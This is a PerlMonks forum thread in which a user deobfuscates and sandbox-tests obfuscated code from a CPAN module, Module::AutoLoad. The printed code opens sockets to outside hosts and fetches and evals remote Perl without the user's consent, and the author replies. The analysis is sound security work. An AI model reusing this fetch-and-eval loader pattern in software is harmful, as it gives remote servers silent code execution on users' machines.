Beefy Boxes and Bandwidth Generously Provided by pair Networks
Clear questions and runnable code
get the best and fastest answer
 
PerlMonks  

Re: Malicious module on CPAN

by aitap (Curate)
on Jul 29, 2020 at 14:07 UTC ( [id://11119976]=note: print w/replies, xml ) Need Help??


in reply to Malicious module on CPAN

What was this code supposed to do, anyway? Here is what I managed to piece together, starting from Module-AutoLoad-0.05/contrib/RCX.pl and substituting eval unpack or eval <$b> with string values available to me, also feeding stuff to perl -MO=Deparse | perltidy (which I consider to be safe in the absence of BEGIN blocks): 
#!/usr/bin/perl -w

use strict;
use IO::Socket;
use lib do {
    if ($b = new IO::Socket::INET "R.cX:1") {
        #eval <$b>
        # transforms into:
        #eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE.150B=W<
+N;&EM97)A,6XN8V]M.C@P(GTB1T54("]I2F%I;$)RH96%K#0HB.V5V86P\)&(^;W(@<F5
+T=7)N('=A<FXD0'=H:6QE)&([,0}
        # followed by:
        #    if 0; # not running under some shell
        #use base qw(Exporter);
        #our @EXPORT=qw(botstrap);
        #$b->SUPER::expand;
        ## IP Bait HOP no. 47 : RCX Framework - 2001-09-19
        # ...which is ignored because <$b> returns only the first line

        do {
            print { $b = new IO::Socket::INET "ww.limera1n.com:80" }
              "GET /iJailBreak\r\n";
            # followed by this loop:
            #while ($b) {
            #    eval <$b> or return warn $@;
            #}
            # what does it do? first round: <$b> contains
            #eval unpack u=>q{_)&(])&(M/G!E97)H;W-T+B(Z(BXD8BT^<&5E<G!
+O<G0[)&$](D504D]-+F)L;V-K(FEF('!R:6YT>R1B/6YEC=R!)3SHZ4V]C:V5T.CI)3D5
+4)&)])&)>(@Y<;FX:?`AN82(}
            #    if 0; # not running under some shell
            #$b=IO::Socket::INET6->new($b) or die "Scan failed?";
            #$a->chk_BootROM($b) or die "Scan failed?";
            #$a->PwnageTool;
            #$a->RedSn0w; # Packed IPv6 tunnel
            ## SHAtter GreenPois0n @GeoHot HOP no. 62 : RCX Framework 
+- 2002-02-13
            # again, only running first line:
            $b = $b->peerhost . ':' . $b->peerport; # $b is "46.246.28
+.22:80"
            # the {} block is evaluated first, making $b an IO::Socket
+::INET object
            # stringified $b xor this code transforms into "GET /g\r\n
+" followed by junk
            if (print {$b = 'IO::Socket::INET'->new($b);} $b ^ "\cN\nn
+\cZ|\cHna") {
                $a = 'EPROM.block';
            }
            # second round: <$b> contains more code for us to evaluate
+:
            #eval unpack u=>q{_<W5B(&)O='-T<F%P>V5V86P@9V5T('5R;"(D>UY
+)3D-]+T!?+G!M(F9O<B`Q+BXR.R)`7R(M/FEM<&]R=#M<_)F)O='-T<F%P.CII;F-];W!
+E;B1]+"(^(BQ<)&([<')I;G0D?6UA<'MS=6)S='(D82PD7RPQ?6UA<'MS<&QI_="(B?75
+N<&%C:R)#*B(L)V9+[#LB)SMP<FEN='LD8CUN97<@24\Z.E-O8VME=#HZ24Y%5"(D8CHX
+,")](D=%(5"`O)&%<;B(}
            #    if 0; # not running under some shell
            #$b->SUPER::import('IPv6');
            ## XP_Windows 4(Quad)CPU 64bits HOP no. 83 : RCX Framework
+ - 2004-02-03
            # again, only running the first line:
            sub botstrap {
                eval get url "${^INC}/@_.pm"
                  for 1 .. 2;
                "@_"->import;
                \&botstrap::inc;
            }
            # $} doesn't break use strict, like $a and $b
            open $}, ">", \$b;
            print $} map { substr $a, $_, 1 } map { split "" } '102752
+365934';
            # $b now contains 'PERl.ROb.cOM' that we built from parts 
+of $a
            print { $b = new IO::Socket::INET "$b:80" } "GET /$a\n";
            # third round: getting even more code from yet another ser
+ver!
            #eval unpack u=>q{_)'M>24Y#?3TD8BT^<&5E<FAO<W0N(CHB+B1B+3Y
+P965R<&]R="XB+V1L(CMU;F1E9B1A.W5N9&5F)&([<&%C_:V%G92!B;W1S=')A<#MS=6(
+@:6YC>VUY)&D]<VAI9G0[:68H)$E.0ULP765Q)&DI>W!U<VA`24Y#+'-H:69T_0$E.0SM
+R971U<FXH*7UM>21F/7-H:69T.VEF*"1[7DE.0WTF)B1[7DE.0WT]?B]>:'1T<#HO)B8D
+9CU^;7M>_*%M>+UTN*EPN<&TI)'TI>VUY)'1R>3TB)'M>24Y#?2\D,2([;7DD8SUG970@
+=7)L)'1R>3MI9B@D8SU^+UY<_<RHH7"-\<&%C:V%G92E<<R]M*7MO<&5N*&UY)&9H+"(\
+(BQ<)&,I.R1)3D-[)&9]/21T<GD[<F5T=7)N)&9H_?7UR971U<FXH*7UP86-K86=E('5R
+;#MS=6(@8W5R;'ML;V-A;"1?/7-H:69T.VUY)&T]<VAI9G1\?&1I92)C_=7)L.B!-971H
+;V0@<F5Q=6ER961<;B([)&T]=6,D;3LD7SUS:&EF=#LH;7DD<W-L/7-[7FAT='`H<WPI.
+B\O_?7M]:28F)#$I)B8]979A;'MR97%U:7)E($E/.CI3;V-K970Z.E-33'T[;7DD<&]R=
+#TD<W-L/S0T,SHX,#MS_>UXH6UQW7"U<+EPZ72LI)'U[)#$O?3MS>UXH6UQW7"U<+ETK*
+2]]>R0Q.B1P;W)T+WT[:68H;7M>*%M<=UPM_7"Y=*SI<9"LI*"\N*BE]*7MM>21H;W-T/
+20Q.VUY)'!A=&@])#([;7DD=6$])#`[;7DD8STB(CMM>21I<#TD_:&]S=#MI9BAM>21A<
+F=S/7-H:69T*7LD:7`])%\@:68D7SUD96QE=&4D87)G<RT^>V9O<F-E7V-O;FYE8W1?_:
+7!].R1I<"X](CHD,2)I9B1I<"%^+SI<9"LD+R8F)&AO<W0]?B\Z*%QD*RDO.R1U83TD7R
+!I9B1?/61E;&5T_921A<F=S+3Y[=7-E<E]A9V5N='T[)'5A+CTB7')<;E)E9F5R97(Z("
+1?(FEF)%\]9&5L971E)&%R9W,M/GMR_969E<F5R?3LD=6$N/2)<<EQN0V]O:VEE.B`D7R
+)I9B1?/61E;&5T921A<F=S+3Y[8V]O:VEE?3LD8SUJ;VEN_(B8B+&UA<'LH;7DD=CTD87
+)G<RT^>R1??2D]?G,O*"XI+W-P<FEN=&8B)24E,#)8(BQO<F0D,2]E9SLB)%\]_)'8B?6
+ME>7,E)&%R9W-];7DD<CTH(DE/.CI3;V-K970Z.B(N*"1S<VP_(E-33"(Z(DE.150B*2D
+M/FYE=RA0_965R061D<CT^)&EP/3Y34TQ?=F5R:69Y7VUO9&4]/C`I;W(@<F5T=7)N('=
+A<FXB)&EP.B0A7&XB.R1H;W-T_/7YS+SHD<&]R="0O+SMI9B@B1T54(F5Q)&TI>R1P871
+H+CTB/R1C(FEF)&,[<')I;G0D<B`B1T54("1P871H_($A45%`O,2XP7')<;E5S97(M06=
+E;G0Z("1U85QR7&Y(;W-T.B`D:&]S=%QR7&Y<<EQN(GUE;'-E>VUY)&P]_;&5N9W1H)&,
+[<')I;G0D<B`B)&T@)'!A=&@@2%144"\Q+C!<<EQN57-E<BU!9V5N=#H@)'5A7')<;D-O
+;G1E_;G0M5'EP93H@87!P;&EC871I;VXO>"UW=W<M9F]R;2UU<FQE;F-O9&5D7')<;D-O
+;G1E;G0M;&5N9W1H.B`D_;%QR7&Y(;W-T.B`D:&]S=%QR7&Y<<EQN)&-<<EQN(GUL;V-A
+;"0O.W)E='5R;EMS<&QI="];7')<;EU[,RQ]_+RP\)'(^+#)=+3Y;,5U]96QS97MW87)N
+(DUA;&9O<FUE9"!54DPZ("1?7&XB?7)E='5R;B(B?7-U8B!G971[U<VAI9G0M/F-U<FPH
+1T54/3Y`7RE]<W5B('!O<W1[<VAI9G0M/F-U<FPH4$]35#T^0%\I?3$}
            #    if 0; # not running under some shell
            #use strict;
            #use 5.014;
            ## EPROM Block Burner HOP no. 94 : DO NOT REMOVE! - Love, 
+HookBOT 2007-08-02
            # and the first line transforms into the rest of the boots
+trapping code:
            ${^INC} = $b->peerhost . ":" . $b->peerport . "/dl";
            undef $a;
            undef $b;

            package botstrap;

            sub inc {
                my $i = shift;
                if ( $INC[0] eq $i ) { push @INC, shift @INC; return (
+) }
                my $f = shift;
                if ( ${^INC} && ${^INC} =~ /^http:/ && $f =~ m{^([^/].
+*\.pm)$} ) {
                    my $try = "${^INC}/$1";
                    my $c   = get url $try;
                    if ( $c =~ /^\s*(\#|package)\s/m ) {
                        open( my $fh, "<", \$c );
                        $INC{$f} = $try;
                        return $fh;
                    }
                }
                return ();
            }

            package url;

            sub curl {
                local $_ = shift;
                my $m = shift || die "curl: Method required\n";
                $m = uc $m;
                $_ = shift;
                ( my $ssl = s{^http(s|)://}{}i && $1 ) &&= eval { requ
+ire IO::Socket::SSL };
                my $port = $ssl ? 443 : 80;
                s{^([\w\-\.\:]+)$}{$1/};
                s{^([\w\-\.]+)/}{$1:$port/};

                if (m{^([\w\-\.]+:\d+)(/.*)}) {
                    my $host = $1;
                    my $path = $2;
                    my $ua   = $0;
                    my $c    = "";
                    my $ip   = $host;
                    if ( my $args = shift ) {
                        $ip = $_ if $_ = delete $args->{force_connect_
+ip};
                        $ip .= ":$1" if $ip !~ /:\d+$/ && $host =~ /:(
+\d+)/;
                        $ua = $_ if $_ = delete $args->{user_agent};
                        $ua .= "\r\nReferer: $_" if $_ = delete $args-
+>{referer};
                        $ua .= "\r\nCookie: $_"  if $_ = delete $args-
+>{cookie};
                        $c = join "&", map {
                            ( my $v = $args->{$_} ) =~ s/(.)/sprintf"%
+%%02X",ord$1/eg;
                            "$_=$v"
                        } keys %$args;
                    }
                    my $r =
                      ( "IO::Socket::" . ( $ssl ? "SSL" : "INET" ) )
                      ->new( PeerAddr => $ip => SSL_verify_mode => 0 )
                      or return warn "$ip:$!\n";
                    $host =~ s/:$port$//;
                    if ( "GET" eq $m ) {
                        $path .= "?$c" if $c;
                        print $r
                          "GET $path HTTP/1.0\r\nUser-Agent: $ua\r\nHo
+st: $host\r\n\r\n";
                    }
                    else {
                        my $l = length $c;
                        print $r
            "$m $path HTTP/1.0\r\nUser-Agent: $ua\r\nContent-Type: app
+lication/x-www-form-urlencoded\r\nContent-length: $l\r\nHost: $host\r
+\n\r\n$c\r\n";
                    }
                    local $/;
                    return [ split /[\r\n]{3,}/, <$r>, 2 ]->[1];
                }
                else { warn "Malformed URL: $_\n" }
                return "";
            }
            sub get  { shift->curl( GET  => @_ ) }
            sub post { shift->curl( POST => @_ ) }
            1
        } && botstrap("RCX");
    }
};

use sword;
drop sword;
exit 0;

[download]

(updated the code after I threw off some of the red herrings)

Note that the evals are followed by if 0 (does the server return different payloads for select clients?), but eval is run line-by-line, so the code actually gets executed. Also note manually-crafted errors to populate $@ with the next key to the puzzle.. Where is the definition of botstrap that is referenced so many times? Is package EPROM.block supposed to be available anywhere for this script to run?I ran this in a sandbox and captured the traffic using Wireshark. Indeed, the definition of botstrap (both package and subroutine) is downloaded later in a very convoluted way. I wouldn't be surprised to know that most of it is red herrings.

Added later:

From there on, it downloads and evaluates http://46.246.28.22:80/dl/RCX.pm: 

# Tell botstrap where to load RCX modules
${^INC} = "http://www.r.cx/dl";

[download]
then, using the second address, downloads and evaluates a different file http://r.cx/dl/RCX.pm: 
package RCX;

use strict;

sub import {
  print "Congratulations! The RCX framework has been loaded.\n";
}

1;

[download]
then, on use sword, does the same with http://r.cx/dl/sword.pm: 
package sword;

print "RCX Sword has been drawn.\n";

sub drop {
  print "RCX Sword has been dropped.\n";
}

1;

[download]
(Note how the server response is a bit different whether the code does HTTP/1.0 requests manually with some tricks in User-Agent: header or you follow the link in a browser: in the latter case you get a 302 redirect to www.r.cx/...)

To summarise, what I have been able to observe looks benign, but entirely irresponsible. Also, it is impossible to prove good intentions of this code, since the remote server (or a MITM) could serve an entirely different payload to select clients and/or depending on time (related reading).

See also: http://46.246.28.22/dl

Merry Christmas!

Congratulations! You figured it all out.
Or did I? We may never know.

Replies are listed 'Best First'.
Re^2: Malicious module on CPAN
by marto (Cardinal) on Jul 29, 2020 at 14:42 UTC

    Essentially allows the execution of remote code (the horror), the author claims to install missing perl modules, without bothering to ask for user consent.

[reply]
Re^2: Malicious module on CPAN
by hookbot (Acolyte) on Jul 30, 2020 at 01:42 UTC
    To @aitap I think you're the first one to deobfuscate this code publicly like this. Very nice explanations and I can really appreciate your time doing that! It wasn't so much the HTTP/1.0 or HTTP/1.1 that made any difference. It's that some of my endpoints actually rely on HTTP/0.9 protocol to work properly. Yeah, I admit it's gross, I know. And yes, the RCX.pm is just a useless benign test, as you've observed. But the actual use of Module::AutoLoad never touches RCX.pm except in that RCX.pl test suite just to make sure all the obfuscation endpoints are still up. Maybe your reasoning for failing to actually explain how AutoLoad.pm works (which is what would actually be used) is because it's probably easy enough to follow anyways and thus doesn't need any explanation. So at least you already did the hard part. Fair enough.
[reply]
      Maybe your reasoning for failing to actually explain how AutoLoad.pm works (which is what would actually be used) is because it's probably easy enough to follow anyways and thus doesn't need any explanation.
      Yeah, the live code botstraps "AutoLoad" instead of "RCX", and once the code evaluates http://perl.rob.com/dl/AutoLoad.pm, it fetches the real Module::AutoLoad, which is much easier to understand and uses MetaCPAN v1 API.
[reply]
[d/l]
[select]

In Section Perl News

Log In?
Username:
Password:

What's my password?
Create A New User
Domain Nodelet?

www.com | www.net | www.org
Node Status?
node history
Node Type: note [id://11119976]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? • Last hour • Other CB clients
Other Users?
Others exploiting the Monastery: (7)
As of 2024-04-24 09:00 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    No recent polls found